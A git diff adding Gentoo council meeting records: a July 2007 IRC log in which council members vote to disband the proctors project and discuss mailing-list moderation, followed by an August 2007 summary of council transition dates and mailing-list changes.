+Jul 12 13:10:51 kingtaco|work	I think the proctor business is a waste of time
+Jul 12 13:11:19 robbat2	could somebody please send a email proposing the -project list with moderation stuff to the -dev ML?
+Jul 12 13:11:26 musikc	im not sure if any of them are present :-|
+Jul 12 13:11:28 robbat2	anybody else out there got anything they want to raise?
+Jul 12 13:11:31 spb	proctors aren't likely to go anywhere without starting from scratch imo
+Jul 12 13:11:43 Uber	kingtaco|work: heh, we have someone doing a talk on that on saturday - The Proctors
+Jul 12 13:11:51 kingtaco|work	Uber, huh?
+Jul 12 13:11:59 wolf31o2	at GUK07
+Jul 12 13:12:02 Uber	at gentoo uk meeting
+Jul 12 13:12:04 spb	gentoo-uk event type thing on saturday
+Jul 12 13:12:10 *	Uber nods
+Jul 12 13:12:12 spb	neddyseagoon is talking about them apparently
+Jul 12 13:12:12 kingtaco|work	I'd love to see what they claim they do
+Jul 12 13:12:28 kingtaco|work	frankly, they have failed
+Jul 12 13:12:33 wolf31o2	ok... so... open floor?
+Jul 12 13:12:33 kingtaco|work	the concept is flawed
+Jul 12 13:12:45 kingtaco|work	wolf31o2, you're too late, it's already there
+Jul 12 13:12:45 fmccor	I've worked with the protcors for a month.  I highly reccomd them without any doubt.
+Jul 12 13:12:47 Uber	yeah, open floor. brb, 15 mins
+Jul 12 13:12:48 musikc	will a decision be made about the proctors today?
+Jul 12 13:13:02 Philantrop	I'm probably rather well known for agreeing that proctors are not needed. They *do* have some better ideas this time, I think. The pressure put on them to produce "something" which they didn't know about exactly probably prevented them to come up with a coherent document.
+Jul 12 13:13:31 wolf31o2	musikc: the meeting is essentially over... we didn't have anything to discuss
+Jul 12 13:13:47 kingtaco|work	wolf31o2, not true, just pointless to discuss anything
+Jul 12 13:13:53 robbat2	anybody got any status notes they want to drop in?
+Jul 12 13:13:57 wolf31o2	whatever
+Jul 12 13:13:58 wolf31o2	same diff
+Jul 12 13:14:09 wolf31o2	robbat2: I think my CIA stats speak well enough on my status notes
+Jul 12 13:14:10 wolf31o2	heh
+Jul 12 13:14:19 wolf31o2	1 commit this month
+Jul 12 13:14:29 robbat2	jaervosz, vapier: last chance before you get marked AWOL
+Jul 12 13:14:41 Philantrop	musikc: They mailed you their notes for forwarding to the council, didn't they?
+Jul 12 13:15:02 robbat2	wolf31o2, the last several months for me were: 93, 82, 17, 9
+Jul 12 13:15:07 *	Betelgeuse (n=betelgeu@gentoo/developer/Betelgeuse) has joined #gentoo-council
+Jul 12 13:15:13 nightmorph	robbat2: isn't this the last month for the current council anyway?
+Jul 12 13:15:18 wolf31o2	robbat2: ouch...
+Jul 12 13:15:24 wolf31o2	no, next meeting is the last one
+Jul 12 13:15:27 robbat2	nightmorph, no, I think we have one more
+Jul 12 13:15:28 nightmorph	ah, k
+Jul 12 13:15:32 robbat2	since that is during the voting period
+Jul 12 13:15:32 *	steev64 (n=steev@gentoo/developer/steev) has joined #gentoo-council
+Jul 12 13:15:43 musikc	fmccor mailed me a bunch of documents, not a coherent proposal. in conversation with neddy, he said the documents were out of date so together we worked on a new one but the other members have not commented on it so its only approved by one member.
+Jul 12 13:15:57 wolf31o2	well, if anyone needs me, ping me... I'm off
+Jul 12 13:15:59 nightmorph	wrt the proctors, i hear some negative sentiment, but no concrete reasons why they are bad/ineffective, especially considering it was the current council that created them in the first place
+Jul 12 13:16:11 *	Ingmar^ (n=ingmar@d51A487D7.access.telenet.be) has joined #gentoo-council
+Jul 12 13:16:30 nightmorph	anyone else have any counterproposals for something newer/better than the proctors?
+Jul 12 13:16:40 robbat2	kingtaco|work, can you put together the -project + moderation email when you get home and send it to the -dev list?
+Jul 12 13:16:42 wolf31o2	yes, and it was brought up last month
+Jul 12 13:16:46 robbat2	nightmorph, the -project + moderation stuff
+Jul 12 13:16:53 nightmorph	i don't recall that from last month's logs, sorry
+Jul 12 13:16:58 kingtaco|work	vote: cancel this proctor nonsense
+Jul 12 13:17:12 robbat2	kingtaco|work, just leave it to die quietly
+Jul 12 13:17:28 musikc	nightmorph: if the proctor project is revoked, the mailing list idea is a good start, and any proctor members are welcome to talk to devrel regarding conflict resolution if they are interested.
+Jul 12 13:17:29 robbat2	see if the -project+moderation has more take up
+Jul 12 13:17:48 kingtaco|work	robbat2, do me a favor and pull those htpasswds then
+Jul 12 13:18:14 musikc	seriously council, can you guys decide one way or the other for the proctors. its only fair to resolve the matter than keep them wondering if it'll be just revoked later.
+Jul 12 13:18:23 wolf31o2	ok... fine...
+Jul 12 13:18:27 Philantrop	Let the proctors stuff "die quietly" would rather unfair. You should really decide.
+Jul 12 13:18:34 fmccor	proctors are doing fine.
+Jul 12 13:18:36 wolf31o2	I vote the project is dropped
+Jul 12 13:18:40 nightmorph	at least before neddyseagoon give his presentation
+Jul 12 13:18:44 kingtaco|work	I vote to drop it
+Jul 12 13:18:46 *	wolf31o2 sets mode +m #gentoo-council
+Jul 12 13:18:56 wolf31o2	if we're back to voting, we don't need input from non-council
+Jul 12 13:19:09 wolf31o2	ok... so are we voting?
+Jul 12 13:19:12 robbat2	Uber, vapier, spb?
+Jul 12 13:19:22 spb	re proctors?
+Jul 12 13:19:30 kingtaco|work	yes\
+Jul 12 13:19:32 wolf31o2	correct... disbanding the project entirely
+Jul 12 13:19:33 spb	either drop it or start over
+Jul 12 13:19:40 kingtaco|work	that's not your choice
+Jul 12 13:19:46 spb	so as far as its current incarnation is concerned, disband it
+Jul 12 13:19:54 robbat2	for me, conditional yes, to be replaced by the -project + moderation stuff
+Jul 12 13:20:18 kingtaco|work	you really can't place a condition on your vote
+Jul 12 13:20:25 wolf31o2	yeah, it's yes or no
+Jul 12 13:20:26 wolf31o2	heh
+Jul 12 13:20:45 robbat2	fine, yes, but somebody DOES still need to send that -project proposal stuff to -dev
+Jul 12 13:20:51 spb	rephrase it then as "yes, on the understanding that the other stuff is being done"
+Jul 12 13:21:14 robbat2	Uber, SpanKY: we need one of you guys
+Jul 12 13:21:30 wolf31o2	not anymore, we don't
+Jul 12 13:21:40 wolf31o2	spb is filling in for danny so we've got 4/7 voted yes
+Jul 12 13:22:01 wolf31o2	or do we need 5/7 for the vote itself?
+Jul 12 13:22:04 *	beandog (n=sdibb@gentoo/developer/beandog) has joined #gentoo-council
+Jul 12 13:22:12 spb	simple majority, no?
+Jul 12 13:22:34 wolf31o2	true
+Jul 12 13:23:02 robbat2	"Council decisions are by majority vote of those who show up (or their proxies)."
+Jul 12 13:23:15 wolf31o2	k
+Jul 12 13:23:18 robbat2	we have 5 attending, and 4/5 said yes
+Jul 12 13:23:22 wolf31o2	then we're good...
+Jul 12 13:23:22 robbat2	so I guess it's solid
+Jul 12 13:24:39 kingtaco|work	robbat2, email sent
+Jul 12 13:24:43 kingtaco|work	we vote next month
+Jul 12 13:24:52 robbat2	ok
+Jul 12 13:24:59 robbat2	open floor again
+Jul 12 13:25:03 wolf31o2	so are we done?
+Jul 12 13:25:03 *	robbat2 sets mode -m #gentoo-council
+Jul 12 13:25:06 robbat2	i think so
+Jul 12 13:25:18 fmccor	you suck.
+Jul 12 13:25:36 kingtaco|work	thanks
+Jul 12 13:25:39 Philantrop	kingtaco|work: I may be dumb but what are you going to vote about next month? :)
+Jul 12 13:25:41 steev64	seconded?
+Jul 12 13:25:44 fmccor	proctors are fine.
+Jul 12 13:25:50 kingtaco|work	Philantrop, see -dev email
+Jul 12 13:25:55 kingtaco|work	about changes to the list
+Jul 12 13:26:10 Philantrop	kingtaco|work: Ah, ok, thanks.
+Jul 12 13:26:16 wolf31o2	fmccor: no, they're disbanded... ;]
+Jul 12 13:26:24 steev64	huge surprise there
+Jul 12 13:27:09 fmccor	wolf31o2,  If comment, I suck, too.
+Jul 12 13:27:22 Philantrop	fmccor: Well, I'm not too pleased about the way the notes were handled. Neddy should probably have handed them on himself. I think they finally started to show some constructive progress. But that's over now, I guess.
+Jul 12 13:27:57 musikc	Philantrop:  you may wish to speak with Neddy. when we spoke yesterday he referred to the notes as having out of date and inaccurate information.
+Jul 12 13:28:20 Philantrop	musikc: I will.
+Jul 12 13:28:43 blackace	ah, cool, disbanded, you guys try moderating thousands of asshats, or making a council meeting after pulling an all-nighter moderating IRC and working a real job that requires you to work during another timezone's work day
+Jul 12 13:28:48 fmccor	Philantrop, you have now idea how hard we have been working.
+Jul 12 13:29:11 steev64	had
+Jul 12 13:29:11 Philantrop	fmccor: That was not really directed at you or the proctors. :)
+Jul 12 13:29:19 tsunam	I take it I missed the meeting?
+Jul 12 13:29:24 nightmorph	kingtaco|work: i think i'm just the slightest bit confused by your email. proposal is that -dev is closed to everyone but an @gentoo email, right? then why would "any dev could moderate a non-dev post" if non-devs can't post to it in the first place?
+Jul 12 13:29:25 blackace	tsunam: yeah
+Jul 12 13:29:31 tsunam	well that was short
+Jul 12 13:29:35 musikc	tsunam: yes, 13:00 our time
+Jul 12 13:29:39 tsunam	well yes
+Jul 12 13:29:48 tsunam	I knew it was 1300 but its 13:30
+Jul 12 13:29:51 nightmorph	kingtaco|work: maybe i'm just reading it wrong
+Jul 12 13:29:52 tsunam	figured it'd run that long ~_~
+Jul 12 13:29:53 robbat2	past meetings tending to be getting into the 90 minute length
+Jul 12 13:29:53 *	blackace notes normal people have to work at 13:00
+Jul 12 13:30:29 tsunam	and from the sounds of what I see..protors are poof
+Jul 12 13:30:35 Uber	back
+Jul 12 13:30:35 kingtaco|work	nightmorph, everyone can sub and read
+Jul 12 13:30:35 robbat2	blackace, the time was a collective agreement by the council as to when all of them are able to attend it
+Jul 12 13:30:37 steev64	this council knows what they want, and they get it done
+Jul 12 13:30:47 nightmorph	kingtaco|work: k...
+Jul 12 13:31:00 blackace	robbat2: good for them, do they plan to do anything about -dev?
+Jul 12 13:31:02 tsunam	steev64: not really, they've backed down when people complained :-P
+Jul 12 13:31:03 Philantrop	wolf31o2: On a much less problematic :) subject: Any ETA for the next GWN?
+Jul 12 13:31:06 *	Uber reads up
+Jul 12 13:31:14 kingtaco|work	nightmorph, any dev who's not been moderated for shitty stuff in the past can choose to moderate
+Jul 12 13:31:29 robbat2	blackace, you mean the #-dev channel? 
+Jul 12 13:31:30 blackace	robbat2: and I mean personally
+Jul 12 13:31:30 nightmorph	kingtaco|work: you mean, allow a non-dev not just +r, but +rw?
+Jul 12 13:31:32 steev64	wouldn't that currently be nobody since moderation hasn't ahppened yet?
+Jul 12 13:31:39 musikc	Philantrop: we're planning on releasing again starting 7/16 (this coming monday)
+Jul 12 13:31:40 blackace	robbat2: I mean #gentoo-dev and the -dev ML
+Jul 12 13:31:44 TFKyle	nightmorph: I think it's pretty much the same as discussed in last months council meeting, where devs can post unmoderated, but non-devs can post too if a dev lets the post in
+Jul 12 13:31:48 fmccor	Philantrop, I started out hating the whole idea.  Then I met the proctors, and talked with them.
+Jul 12 13:31:49 kingtaco|work	nightmorph, no, typical ML moderation
+Jul 12 13:31:52 TFKyle	(could be wrong though)
+Jul 12 13:32:04 blackace	robbat2: not, find something they can shovel off to infra, because we all know how effective that is
+Jul 12 13:32:05 Philantrop	musikc: Ah, thanks. Then back to the regular schedule?
+Jul 12 13:32:11 tsunam	here's the simple question. Who enforces the coc?
+Jul 12 13:32:11 kingtaco|work	it is exactly what I said last month
+Jul 12 13:32:12 nightmorph	kingtaco|work: i guess i just haven't ever really seen ML moderation of any sort
+Jul 12 13:32:20 musikc	Philantrop: thats the plan
+Jul 12 13:32:32 nightmorph	i must just be translating your message into my own special english so that it makes no sense only to me, kingtaco|work :)
+Jul 12 13:32:42 kingtaco|work	tsunam, devrel does
+Jul 12 13:32:49 TFKyle	(I agree though, the post is a bit ambiguous about that)
+Jul 12 13:32:53 fmccor	Now, what about Roy's ppresentation?
+Jul 12 13:32:56 tsunam	kingtaco|work: k good enough for me
+Jul 12 13:32:57 blackace	haha
+Jul 12 13:32:59 blackace	hahahahaha
+Jul 12 13:33:10 nightmorph	fmccor: someone prolly better mention today's outcome to him pretty quick
+Jul 12 13:33:23 blackace	hfwt folks
+Jul 12 13:33:35 nightmorph	hfwt?
+Jul 12 13:33:39 nightmorph	oh. "have fun with that"?
+Jul 12 13:33:39 Philantrop	fmccor: I didn't like the idea, I didn't like the first active *public* attempts but the "work less in public" concept (or what I glimpsed about it) looked much better to me. I think that might have worked.
+Jul 12 13:33:49 robbat2	blackace, i'm sorry, you just moved from complaining about everybody having different times on #-dev + -dev ML, to infra not seeming to get stuff done?
+Jul 12 13:33:51 kingtaco|work	fmccor, I don't see how it changes anything.  further, if they come up with something they can bring it to the next council
+Jul 12 13:33:51 Uber	for the record i vote the proctors dropped too in their current form
+Jul 12 13:34:00 fmccor	He's scheduled, I think.
+Jul 12 13:34:12 wolf31o2	robbat2: he's just complaining... period... heh
+Jul 12 13:34:32 tsunam	Basically, yes there was an overreaction in public due to complaints that proctors were doing nothing. Instead of explaining what was actually occuring
+Jul 12 13:34:36 tsunam	simple as that
+Jul 12 13:34:53 steev64	tsunam: and vice versa
+Jul 12 13:35:07 blackace	robbat2: no, I complained about the unrealistic meeting time, and now I want to know what the council is going to DO seeing as they've disbanded the only group of people willing to do the dirty work.
+Jul 12 13:35:08 steev64	there were complaints that the proctors were doing too much
+Jul 12 13:35:09 tsunam	steev64: yes, there were problems on all sides
+Jul 12 13:35:09 nightmorph	kingtaco|work: i'll take your word for it. just...the first time what you're talking about happens on the list, nudge me so that i'm aware of it and can study it while it's happening :)
+Jul 12 13:35:11 *	zmedico (n=zmedico@ip68-4-152-120.oc.oc.cox.net) has joined #gentoo-council
+Jul 12 13:35:12 fmccor	wolf31o2, you have no idea what I'm about.
+Jul 12 13:35:55 wolf31o2	fmccor: who was talking about you?
+Jul 12 13:36:08 robbat2	blackace, all previous councils have come up with a meeting time that works for them as the council, because they NEED to attend, otherwise they are booted from said council
+Jul 12 13:36:35 robbat2	for doing something now, that's the email to -dev about -project+moderation, which was discussed in extreme depth in the last council meeting
+Jul 12 13:36:37 musikc	fmccor: wolf was referring to blackace if you scroll back
+Jul 12 13:36:59 wolf31o2	and was joking... note the "heh"
+Jul 12 13:37:14 blackace	wolf31o2: I've met you, you don't joke very much :P
+Jul 12 13:37:20 nightmorph	zing!
+Jul 12 13:37:30 tsunam	steev64: I never heard of doing too much personally. All I can say is that personally when I acted I was thanked by those I told to behave. As a group the proctors failed. However as long as the idea that was the aim continues that is the most important thing
+Jul 12 13:37:34 blackace	nightmorph: hey now, no batman sound effects
+Jul 12 13:37:37 wolf31o2	blackace: you'd be surprised... all my friends back east keep telling me how chill I am now...
+Jul 12 13:38:07 wolf31o2	I'm sure it has pretty much everything to do with the change in employment
+Jul 12 13:38:09 nightmorph	blackace: i've got a *biff* for you the next time i see you in #gentoo
+Jul 12 13:38:18 steev64	tsunam: *shrug* since you suggested i just killfile, its been pretty good and relaxing on my end
+Jul 12 13:38:26 blackace	wolf31o2: really that much better huh?
+Jul 12 13:38:31 nightmorph	tsunam: how many proctors were left though before today?
+Jul 12 13:38:35 musikc	blackace: you have no idea
+Jul 12 13:38:37 wolf31o2	blackace: night and day
+Jul 12 13:38:40 musikc	heh
+Jul 12 13:38:41 blackace	cool
+Jul 12 13:38:43 tsunam	nightmorph: 4-5
+Jul 12 13:39:03 wolf31o2	anyway...
+Jul 12 13:39:11 *	wolf31o2 is out... if you need me, ping me
+Jul 12 13:39:11 tsunam	what's done is done
+Jul 12 13:39:16 robbat2	i need to go as well
+Jul 12 13:39:20 musikc	nightmorph: neddy, marienz, blackace, mark_alec and tsumam was the info i had
+Jul 12 13:39:21 tsunam	simple as that
+Jul 12 13:39:26 tsunam	the council has make its decision
+Jul 12 13:39:44 tsunam	we elected these people to guide the direction of gentoo..and need to believe in them to make the right choices
+Jul 12 13:39:49 tsunam	as we did elect them
+Jul 12 13:40:02 tsunam	something that they've not really gotten much of from the developers as a whole
+Jul 12 13:40:13 Philantrop	tsunam: We do not need to believe in them. We do have to respect their decisions, though.
+Jul 12 13:40:15 *	blackace looks at tsunam 
+Jul 12 13:40:32 musikc	well again, tsunam and blackace, the dark side... errr devrel would be interested in talking to you guys if you're interested
+Jul 12 13:40:35 TFKyle	so is -project going to be anything goes or?
+Jul 12 13:40:40 solar	respect is earned.. never a given
+Jul 12 13:40:46 tsunam	yes blackace I know what you're thinking yet again. I'm sure you'll come poke me about it later
+Jul 12 13:41:03 nightmorph	musikc: thanks
+Jul 12 13:41:05 tsunam	solar has a point there
+Jul 12 13:41:07 kingtaco|work	solar, if you don't respect the council then you should call for a new one to be elected
+Jul 12 13:41:11 kingtaco|work	it's that simple
+Jul 12 13:41:15 Philantrop	solar: Respect for people, yes. Respect for their decisions doesn't mean we can't critisize them, though.
+Jul 12 13:41:16 kingtaco|work	all of you
+Jul 12 13:41:29 tsunam	Philantrop: constructively
+Jul 12 13:41:31 kingtaco|work	your critism has been unfounded and misplaced
+Jul 12 13:41:32 solar	kingtaco|laptop: I'm content with this council :p
+Jul 12 13:41:41 Philantrop	tsunam: Yes, I meant that. :-)
+Jul 12 13:41:49 spb	'respect' has several different meanings
+Jul 12 13:41:53 nightmorph	kingtaco|work: i might have done that a few months ago, but it's too late now. besides, how do votes of no confidence work? i mean, can it be selective, or does it have to be all or nothing?
+Jul 12 13:41:54 blackace	kingtaco|work: as far as I'm concerned, the council is guilty of same
+Jul 12 13:41:55 kingtaco|work	you crippled the same people you voted in
+Jul 12 13:41:58 nightmorph	i'm curious about that
+Jul 12 13:42:03 blackace	yup, same
+Jul 12 13:42:12 spb	some of them have to be earned otherwise they're worthless, and some should be present almost unconditionally
+Jul 12 13:42:39 kingtaco|work	nightmorph, as I explained many months ago, if it ever got to the point where a vote of no confidence had to be called, the current council couldn't make those rules because noone would follow them
+Jul 12 13:42:41 kingtaco|work	it's a coup
+Jul 12 13:43:00 nightmorph	hmm
+Jul 12 13:43:17 Philantrop	spb: Indeed. A minimum of respect is earned simply by being a human being, IMHO. (Let's not discuss animal rights now, though. :) )
+Jul 12 13:43:23 robbat2	the most that they could do is collectively not show up for the meeting
+Jul 12 13:43:30 nightmorph	well, it's the end of the line for the current government either way, after one more meeting i guess
+Jul 12 13:43:48 robbat2	and it seems that nearly all of us aren't sticking around for the new council
+Jul 12 13:43:58 nightmorph	maybe 1 year is too long?
+Jul 12 13:44:04 nightmorph	what a bout a 6-month or 9-month term?
+Jul 12 13:44:08 spb	Philantrop: a minimum of courtesy, perhaps
+Jul 12 13:44:12 nightmorph	that way RL stuff maybe won't interfere so much
+Jul 12 13:44:26 robbat2	no, it's just long enough to get people annoyed with you so they don't vote for you as an incumbent
+Jul 12 13:44:27 nightmorph	people have kids, move, die, etc. all that tends to interfere with gentoo duties
+Jul 12 13:44:32 nightmorph	aww :/
+Jul 12 13:44:32 Philantrop	spb: Ok, I think we can agree on that. :-)
+Jul 12 13:44:51 wolf31o2	nightmorph: I don't think the term is the problem so much as general developer backlash on every decision making it undesirable to decide to serve the community in this fashion ever again
+Jul 12 13:45:04 musikc	robbat2: or they get burned out and just dont want to do it again
+Jul 12 13:45:09 Philantrop	nightmorph: Personally, I think the one year term is fine. It's needed for a somewhat stable course.
+Jul 12 13:45:16 wolf31o2	agreed
+Jul 12 13:45:17 nightmorph	wolf31o2: that's very possible. but 1 year might serve up too many repeated incidents like that for a given person's plate
+Jul 12 13:45:18 robbat2	Philantrop, ok, i'm sorry we lead you guys on. From the last meeting it looked like you were making progress with musikc, but there's been no movement since then
+Jul 12 13:45:52 wolf31o2	nightmorph: I guess... I just got tired of having this big bullseye on my back...
+Jul 12 13:45:54 nightmorph	i'm just pointing out that if the job burns everyone out that much, perhaps it can be somewhat mitigated by shorter terms
+Jul 12 13:46:07 tsunam	wolf31o2: you as well just do too much
+Jul 12 13:46:34 musikc	nightmorph: or lets go utopia on this and say wouldnt it be nice if the developer pool didnt backlash the council for every decision they were elected to make
+Jul 12 13:46:36 wolf31o2	nightmorph: I think the problem is the lack of courtesy from the developer pool coupled with the lack of visible respect for the council, its members, and its decisions...
+Jul 12 13:46:45 Philantrop	robbat2: I wasn't a proctor. :-) Personally, I think they made some progress but this issue has been decided and while I'm not convinced it was the right time for it, I can accept it.
+Jul 12 13:46:48 nightmorph	wolf31o2: that reminds me. in your declining answer to your nomination email, you said you won't be doing anything resembling a leadership position at gentoo -- i wasn't clear on whether or not that extends to your stuff as releng head?
+Jul 12 13:46:56 wolf31o2	being constantly told how little you're doing, how much you suck, and how every decision you make is "wrong" is enough to demotivate anyone
+Jul 12 13:47:18 wolf31o2	nightmorph: releng doesn't lead gentoo
+Jul 12 13:47:27 steev64	or you could not be a quitter, and prove them wrong :-P
+Jul 12 13:47:48 nightmorph	wolf31o2: well, i wasn't clear on how you were defining leadership, that's all
+Jul 12 13:47:58 wolf31o2	nightmorph: council/trustees
+Jul 12 13:48:01 nightmorph	k
+Jul 12 13:48:06 Philantrop	wolf31o2: That comes with any exposed "job" like the council's. One can either deal with it or not. If not, then the decision not to re-run is obviously good.
+Jul 12 13:48:20 robbat2	steev64, I really look forward to not being in council, i won't quit while i'm there, as I am not a quitter, but i'm not chosing to fight that battle again, when I can put my resources to better use
+Jul 12 13:48:32 robbat2	my work with infra and the tree has suffered since I've been doing council stuff
+Jul 12 13:48:42 nightmorph	that reminds me. how much does council have to do council work outside of the monthly meetings?
+Jul 12 13:48:46 robbat2	and that was quite frankly a lot more enjoyable
+Jul 12 13:48:48 nightmorph	i'm wondering about time commitments
+Jul 12 13:48:53 wolf31o2	Philantrop: I think it comes from the general lack of professionalism, courtesy, and real world experience of the majority of our developer pool
+Jul 12 13:49:17 wolf31o2	nightmorph: during the CoC thing, Mike (KingTaco) and myself (at least) spent an entire work week doing Gentoo things
+Jul 12 13:49:21 Uber	in other words a bunch of punks
+Jul 12 13:49:24 wolf31o2	I missed out on *any* paid work that week
+Jul 12 13:49:25 Uber	sorry - kids
+Jul 12 13:49:37 kingtaco|work	yes, I wasted a week on that shit
+Jul 12 13:49:50 Philantrop	wolf31o2: Yes, that is a valid critisism, IMHO.
+Jul 12 13:49:51 musikc	Philantrop: it would be nice to see developers support council, as the developers did pick their council members one might hope it wasnt based on a popularity contest
+Jul 12 13:49:52 nightmorph	i missed some too, as i was the one who had to guidexmlify the thing with no notice :)
+Jul 12 13:49:55 nightmorph	took a few hours
+Jul 12 13:49:59 wolf31o2	Uber: for the most part... though I have met many young developers who possessed those skills... so it isn't the age so much as the outlook
+Jul 12 13:50:16 Uber	wolf31o2: true - dsd is a good example of that :)
+Jul 12 13:50:23 wolf31o2	yes
+Jul 12 13:50:44 robbat2	nightmorph, as an average during my time in council, i'd say that you should budget 2 hours/week, and be prepared to burn that entire annual budget in one week.
+Jul 12 13:50:53 nightmorph	hmm
+Jul 12 13:50:56 nightmorph	that much, eh
+Jul 12 13:50:58 Philantrop	musikc: I support people when I think their cause is just and I won't if I think it's not. It's as simple as that.
+Jul 12 13:51:06 steev64	musikc: not all have though - some didn't have the opportunity to vote (based on age of developer status)
+Jul 12 13:51:45 Betelgeuse	steev64: isn't it for trustees only that you must be 6 months old?
+Jul 12 13:52:08 steev64	Betelgeuse: i thought it was for trustees, council and for running
+Jul 12 13:52:24 musikc	Philantrop: no person will agree 100% with another person all of the time, thats understood. but the backlash ive seen over the last few years personally appears to be something else entirely
+Jul 12 13:52:50 robbat2	i have to go for some work stuff and other meetings now. once my term in council is over after next month, there's an email i've got to write as a summary of being in council
+Jul 12 13:52:59 musikc	steev64: im not sure tbh, i didnt think so
+Jul 12 13:53:07 nightmorph	next question to current council members: when is transparency desirable and when is it not?
+Jul 12 13:53:21 nightmorph	i'm ticking off a list of stuff i've always wanted to know about the council
+Jul 12 13:53:24 wolf31o2	musikc: it seems more like people being pricks just because they can and they know nothing will happen to them
+Jul 12 13:53:25 nightmorph	time crunch was the first :)
+Jul 12 13:53:33 Philantrop	musikc: Yes, to some extent it's undoubtedly simply challenging any authority, total opposition, etc.
+Jul 12 13:53:52 wolf31o2	nightmorph: we try to do everything as transparently as possible... we've had exactly one private discussion, and that was the CoC stuff
+Jul 12 13:54:09 *	kingtaco|work (n=kingtaco@gentoo/developer/kingtaco) has left #gentoo-council ("eat me")
+Jul 12 13:54:12 Uber	even some wanted that to be a public discussion iirc
+Jul 12 13:54:29 robbat2	and we suspect that leaked anyway
+Jul 12 13:54:50 nightmorph	uh huh. now, besides time crunch, transparency, etc., what percentage of council decisions are technical ones (like ebuild policy) vs. nontechnical stuff like..i dunno, community-focused things like the coc and MLs
+Jul 12 13:54:54 nightmorph	robbat2: it did
+Jul 12 13:55:05 kingtaco|laptop	robbat2, it did leak
+Jul 12 13:55:14 kingtaco|laptop	there is zero doubt about it
+Jul 12 13:55:18 kingtaco|laptop	it leaked to ciaranm
+Jul 12 13:55:38 wolf31o2	nightmorph: probably 80/20... I'd guess...
+Jul 12 13:55:41 Philantrop	musikc: We have a proverb here in Germany, though, that translates to something like "Why should the German oak bother if the pig rubs itself on it?". :-)
+Jul 12 13:55:43 kingtaco|laptop	it's pretty obvious who did it but noone will ever know for sure
+Jul 12 13:55:44 wolf31o2	most seemed to be technical
+Jul 12 13:56:08 robbat2	the technical ones gather very few complaints
+Jul 12 13:56:11 musikc	Philantrop: ok ya, that just makes me laugh
+Jul 12 13:56:14 nightmorph	kingtaco|laptop: it leaked to more than just him, but yes
+Jul 12 13:56:15 robbat2	the social ones eat up all the time
+Jul 12 13:56:27 nightmorph	hmm, so the majority by far is technical?
+Jul 12 13:56:35 wolf31o2	correct
+Jul 12 13:56:40 Uber	supposed to be
+Jul 12 13:56:41 nightmorph	hmm .... and to this point, only ebuild-type devs have ever been on it?
+Jul 12 13:56:41 robbat2	by number, technical. by time involved, social.
+Jul 12 13:56:44 wolf31o2	but as robin says, the social take up almost all the time
+Jul 12 13:56:47 nightmorph	heh
+Jul 12 13:56:59 Uber	nightmorph: no, i think swift was coucil and he's not ebuild dev
+Jul 12 13:57:09 Uber	*was*
+Jul 12 13:57:14 robbat2	i must go now
+Jul 12 13:57:16 robbat2	byte
+Jul 12 13:57:17 robbat2	bye
+Jul 12 13:57:18 wolf31o2	swift was a trustee... I don't think he was council
+Jul 12 13:57:19 Uber	cu
+Jul 12 13:57:20 *	robbat2 sets mode -e robbat2
+Jul 12 13:57:20 *	You are now known as robbat2|na
+Jul 12 13:57:20 *	services. sets mode +e robbat2|na
+Jul 12 13:57:27 robbat2|na	somebody please do logs+summary
+Jul 12 13:57:33 Uber	ok, my memory is failing then - old age :)
+Jul 12 13:58:26 nightmorph	thanks for talking this stuff over with me guys :)
+Jul 12 13:58:26 wolf31o2	and yes, someone who isn't an ebuild dev could run for council, but I personally don't think they would be a good fit for the job, since they would need to be able to decide things that affect the tree... but most of it is just learning about something and making a decision
+Jul 12 13:59:05 wolf31o2	so really anyone could do it... and if there were someone who isn't an ebuild dev but had lots of "gentoo" experience in general, I'd definitely consider them (again, personally)
+Jul 12 13:59:06 nightmorph	wolf31o2: that is what i have been thinking about
+Jul 12 13:59:42 nightmorph	decision making ability, transparency, and determination are all important, but i'm also thinking about how technical stuff is important too
+**** BEGIN LOGGING AT Thu Jul 12 14:00:19 2007
+
+Jul 12 14:00:19 wolf31o2	ok... gotta run... meeting
+Jul 12 14:00:32 wolf31o2	the technical is the largest share, but tends to take the least time
+Jul 12 14:01:04 wolf31o2	it's usually a "discuss, vote, approve/deny" and on to the next topic w/ technical
+Jul 12 14:02:28 nightmorph	hmm
+Jul 12 14:13:29 *	Ingmar^ has quit (Remote closed the connection)
+Jul 12 14:13:45 *	Ingmar^ (n=ingmar@d51A487D7.access.telenet.be) has joined #gentoo-council
+Jul 12 14:18:13 SpanKY	ah looks like i was a slacker today
+Jul 12 14:19:22 Uber	bad SpanKY
+Jul 12 14:20:22 SpanKY	had to pick up my brother's car ... forgot today was meeting :(
+Jul 12 14:20:32 spb	excuses excuses
+Jul 12 14:20:51 SpanKY	your momma
+Jul 12 14:33:04 *	kingtaco|laptop (n=kingtaco@gentoo/developer/kingtaco) has left #gentoo-council ("Leaving")
+Jul 12 14:38:40 *	pilla (n=pilla@gentoo/developer/pilla) has joined #gentoo-council
+Jul 12 14:39:01 *	pilla (n=pilla@gentoo/developer/pilla) has left #gentoo-council
+Jul 12 14:48:07 *	nightmorph (n=nightmor@gentoo/developer/nightmorph) has left #gentoo-council
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070816-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070816-summary.txt
new file mode 100644
index 00000000..d222a730
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070816-summary.txt
@@ -0,0 +1,22 @@
+- clarification on the procedural side of things with transition to new Council:
+	* Nominations will always be in the month of July
+	* Voting will always be in the month of August
+	* August will always be the last month for a new Council
+	* New Council will always take over in September
+	Delays in misc aspects (like setting up infra to allow voting) will merely
+	delay the start of the new Council and the end of the old Council.  Once
+	the new Council is voted in and takes over, it will still face the end
+	date of August.  This is to avoid ugly sliding windows over time of "Council
+	members serve for a year, but they started late on date XXX so we have to
+	delay the start of the next Council by XXX days blah blah blah".
+
+  Since this year voting ends after the 2nd Thursday but before the 3rd
+  Thursday in September, we'll simply delay the September meeting until the 3rd
+  Thursday so that the new Council gets to sit out 12 meetings.
+
+- mailing list changes (wrt new gentoo-dev-announce).  gentoo-dev-announce is
+  no longer auto cross-posted to gentoo-dev.  reply munging is no longer in
+  effect.  devs can manually cross-post and take discussion to gentoo-dev.
+
+- pms has been moved over to Gentoo infra and will be maintained by the portage
+  team and any other interested Gentoo parties.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070816.txt b/xml/htdocs/proj/en/council/meeting-logs/20070816.txt
new file mode 100644
index 00000000..c57295cb
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070816.txt
@@ -0,0 +1,498 @@
